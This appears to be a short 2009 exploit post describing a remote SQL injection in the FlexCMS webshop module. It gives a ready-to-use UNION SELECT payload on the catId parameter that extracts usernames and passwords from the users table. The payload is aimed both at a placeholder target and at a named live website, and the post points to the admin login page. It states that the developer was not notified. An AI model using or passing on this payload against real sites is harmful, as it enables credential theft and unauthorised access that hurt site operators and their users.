flexcms-sql.txt
Posted on 10 February 2009
AUTHOR: MisterRichard FlexCMS Remote SQL Injection Discovered by MisterRichard. Developer site: http://www.flexcms.dk/ Developer has not been notified. Live demo: Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users-- http://www.radikalungdom.dk/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users-- Admin login site: http://target.com/flexadmin/ Greetz, agonx, kollek, cardingnu
